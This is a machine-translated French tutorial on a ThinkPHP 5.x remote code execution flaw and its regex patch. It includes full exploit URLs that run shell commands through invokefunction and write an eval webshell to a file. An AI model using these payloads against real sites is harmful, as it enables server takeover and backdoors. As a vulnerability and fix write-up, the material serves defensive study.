Maison > cadre php > PensezPHP > le corps du texte

Comment corriger la vulnérabilité de thinkphp

藏色散人
Libérer: 2019-08-13 18:00:11
original
4054 Les gens l'ont consulté

Comment corriger la vulnérabilité de thinkphp

Corrections de bugs de THINKPHP Récemment, le responsable a mis à niveau toutes les versions existantes de thinkphp de 5.0 à 5.1, ainsi que des mises à jour de correctifs. Cette mise à jour corrige principalement certains bugs. la vulnérabilité d'injection SQL existante et la vulnérabilité du système de requête d'exécution de code à distance ont été réparées. Les responsables pensaient qu'il n'y aurait aucun problème, mais lors de l'inspection de sécurité proprement dite, il a été constaté qu'il y avait toujours des problèmes et que l'injection de code à distance pouvait être résolue. reste à faire, insérez des caractères illégaux et soumettez-les au backend du serveur.

Comment corriger la vulnérabilité de thinkphp

Concernant la vulnérabilité oday découverte cette fois, jetons un coup d'œil à ce à quoi elle ressemble. Le chemin du fichier programme mis à jour est app.php dans le répertoire think sous le dossier bibliothèque. . , comme indiqué ci-dessous :

Comment corriger la vulnérabilité de thinkphp

La raison de la vulnérabilité réside dans ce contrôleur. Les fonctions de l'ensemble du framework thinkphp n'effectuent pas de filtrage et d'inspection de sécurité stricts sur le contrôleur. , permettant les attaques L'attaquant peut forger des paramètres malveillants pour forcer l'insertion. La raison la plus fondamentale est que l'expression régulière n'est pas bien écrite, ce qui peut être contourné.

Une fois que le contrôleur a obtenu le contrôleur, il attribue directement la valeur. Cependant, le nom du contrôleur n'est pas strictement détecté, ce qui entraîne l'utilisation de symboles spéciaux tels que des barres obliques pour l'injection de code à distance.

Configurons l'environnement du site Web, apache+mysql+Linux centos system L'adresse de l'environnement de test construit est http://127.0.01/anquan Nous pouvons directement forger les paramètres d'attaque derrière index.php. . , un exemple est le suivant :

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
Copier après la connexion

Soumettez-le directement au site Web via la méthode get, et vous pourrez directement interroger tous les fichiers du répertoire racine actuel du site Web : <🎜. >

Comment corriger la vulnérabilité de thinkphp

Grâce à cette vulnérabilité, vous pouvez également injecter directement du code à distance pour exécuter l'instruction phpinfo, interroger la version actuelle de php, le chemin, l'extension et l'adresse où php.ini est stocké, tout cela peut être vu. Construisez simplement le code suivant.

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20&#39;phpinfo();&#39;
Copier après la connexion

Comment corriger la vulnérabilité de thinkphp

Certaines personnes peuvent se demander, puisque phpinfo peut être utilisé pour interroger les fichiers de répertoire, getshell peut-il écrire des fichiers de chevaux de Troie de sites Web sur le site Web ? La réponse est oui. Lors de nos tests, nous avons écrit une phrase du code du cheval de Troie dans le fichier safe.php.

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php
Copier après la connexion

C'est la fin de l'exploitation et de l'analyse de la vulnérabilité thinkphp. Cette vulnérabilité est une vulnérabilité à haut risque et les dommages sont graves. De nombreux sites Web qui mettent à niveau et mettent à jour des correctifs seront attaqués, et certains sites Web le seront même. suspendu Ma, alors comment corriger la vulnérabilité thinkphp ?

Remplacez simplement l'expression régulière précédente. Vous devez également déployer des autorisations sur le répertoire du site Web pour empêcher la génération de fichiers php, réparer les vulnérabilités du site Web ou réinitialiser les paramètres de protection de sécurité du site Web. l'environnement du site Web à cette époque.

Au vu de cette situation, nous devons changer l'expression régulière dans son code library/think/App.php

if (!preg_match(&#39;/^[A-Za-z][\w\.]*$/&#39;, $controller)) { throw new HttpException(404, &#39;controller not exists:&#39; . $controller); }
Copier après la connexion
Cet article provient de la colonne d'articles techniques du framework ThinkPHP :

//m.sbmmt.com/phpkj/thinkphp/

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:php.cn
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal
À propos de nous Clause de non-responsabilité Sitemap
Site Web PHP chinois:Formation PHP en ligne sur le bien-être public,Aidez les apprenants PHP à grandir rapidement!